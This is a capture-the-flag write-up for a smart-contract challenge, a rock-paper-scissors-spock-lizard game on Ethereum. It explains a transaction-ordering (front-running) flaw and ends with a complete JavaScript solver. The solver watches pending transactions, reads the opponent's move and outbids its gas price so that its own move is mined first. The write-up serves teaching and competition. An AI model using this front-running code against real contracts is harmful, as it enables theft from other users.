## spock-lizard-beta
### DescriptionI've learned a lot from alpha version and I've come up with some improvements. Let's see how it goes now. Are you strong enough?
The victim: https://dctf.def.camp/finals-2017-lpmjksalfka/DctfChall2.solThe API: beta.dctf-f1nals-2017.def.campTransaction API: https://dctf.def.camp/finals-2017-lpmjksalfka/sample2.html
*PS: I've made a cron to reset blockchain so you won't have to wait too much for minning.*
### Author: Andrei
### Stats: 400 points / 0 solvers
### SolutionBased on the challenge description, you receive two APIs with some functionalities such as:- get_balance: returns the number of ETH a wallet holds- new_cold_wallet: create a wallet which can be unlocked by a password- send_money: send eth to other account- call_contract: call a function from a smart contract- get_flag: returns the flag if you solved the problem- get_victim: returns a smart contract address which is supposed to be the target for the game- play_the_game: a function that spawns a game between a victim smart contract and another player
Looking at the source code of the DctfChall.sol you can see that the smart contract is bassically a game of *rock, paper, scissor, spock, lizard*. It can be played by two players and you can choose one of the 5 options available (from 1 to 5).
The Winner player is decide based on the **getWinner()** function:```javascript	function getWinner(uint8 option1, uint8 option2) internal returns (uint8) {		if(option1 == option2) {			return 0;		}
		if(option1 == 0x1) {			if(option2 == 0x3 || option2 == 0x5) return 1;			return 2;		}
		if(option1 == 0x2) {			if(option2 == 0x1 || option2 == 0x4) return 1;			return 2;		}
		if(option1 == 0x3) {			if(option2 == 0x2 || option2 == 0x5) return 1;			return 2;		}
		if(option1 == 0x4) {			if(option2 == 0x3 || option2 == 0x1) return 1;			return 2;		}
		if(option1 == 0x5) {			if(option2 == 0x4 || option2 == 0x2) return 1;			return 2;		}
		return 0;//should never get here}```
The goal is to make the **getFlag()** function to answer with *"this guy should receive the reward"* when is being called by the Admin Bot.
``` javascriptfunction getFlag() 	onlyIfIsPro	public	returns (string)	{		return 'this guy should receive the reward';	}     modifier onlyIfIsPro() {    	require(solvedHistory[msg.sender] >= 10 && solvedHistory[msg.sender] == triesHistory[msg.sender]);    	_;    }```As you can see above, this is going to happen only if you win 10 times in a row but never loose a game.
##### The solutionThe idea is similar with previous challenge, we can "subscribe" to all transactions being made on the blockchain against a specific address by using the API available in the **sample.html**. ```javascript
$(document).ready(function() {	client = io.connect('http://45.76.94.172:8080');
	/* receive transactions based on web3.eth.subscribe('pendingTransactions') */	client.on('transaction', function(data) {		console.log('transaction', data); 	});
	client.on('connect', function() {		console.log('connected');		client.emit('listen_for', mytarget);	});});```Thus, we **can see** what other player/bot sent to the targetted smart contract and come up with an option that can secure each time our victory. The vulnerability is called [Transaction-Ordering Dependence (TOD) / Front Running](https://consensys.github.io/smart-contract-best-practices/known_attacks/#transaction-ordering-dependence-tod-front-running) and is bassically some sort of Race Condition by knowing what the contract would do based on code logics. 
However, in comparison with last time, we need to send the answer in the same block with the Bot Player. This was supposed to be a "security feature" in comparison with first contract version. 
``` javascriptfunction choose(uint8 option) 	onlyPlaying 	onlyWithBet	isValidOption(option)	onlyValidPlayers	payable	public {		if(totalplayers == 0) { //this ensures that we are on the same block			game_start = block.number;		} else if(totalplayers == 1) {			require(game_start == block.number);		} ```So bassically we need to *know* the answer before the bot player and somehow get executed by the blockchain minning pool before the other player. 
This can be done by using almost the same solution like the previous challenge but with a twist: increase the cost of gas we are willing to pay for minning. This will ensure that, although the bot sent first his work on the block, the minners mined the work based on gas prices.
##### The solver```html
<html><head>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>var client;var myaddress  = '0xPLAYER_ADDRESS';var mypassword = 'password for players wallet';var mytarget   = '0xVICTIM_WALLET';
var winners = [	[0,0,0,0,0,0],	[0,0,2,1,2,1],	[0,1,0,2,1,2],	[0,2,1,0,2,1],	[0,1,2,1,0,2],	[0,2,1,2,1,0]];
function getWinner(option1) {	for(var i=1;i<=5;i++) {		if(winners[option1][i] == 2) {			return i;		}	}	return option1; //shouldn't get there}
$(document).ready(function() {	client = io.connect('http://45.77.142.124:8080');
	client.on('transaction', function(data) {		console.log('transaction', data, data.from, myaddress);		if(data.from.toLowerCase() != myaddress.toLowerCase() && data.input != '0x' && data.input.indexOf('0xf94e349d') !== -1) {			var option = data.input.slice(-1);			if(1 <= option && option <= 5) {				winner_option = getWinner(option);				console.log('sending winner option for combination: ', option, winner_option);				$.post('https://beta.dctf-f1nals-2017.def.camp', {					function:'call_contract',					abi: '[{"constant":true,"inputs":[],"name":"totalinvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"solvedHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bot","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalplayers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"game_start","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minbet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"triesHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"play","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"player","type":"address"}],"name":"isPlaying","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"reset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"option","type":"uint8"}],"name":"choose","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"getFlag","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_minbet","type":"uint256"},{"name":"_bot","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]',					address: mytarget,					from: myaddress,					password: mypassword,					func:'choose',					params:JSON.stringify([winner_option]),					value:'10000000000000',					type:'standard',					gas:'2000000',					gasPrice: 1*data.gasPrice+100000 //larger gas price than the bot				}, function(data) {					console.log(data);				});			}		} 	});
	client.on('connect', function() {		console.log('connected');		client.emit('listen_for', mytarget);	});});</script>
</head><body></body></html>```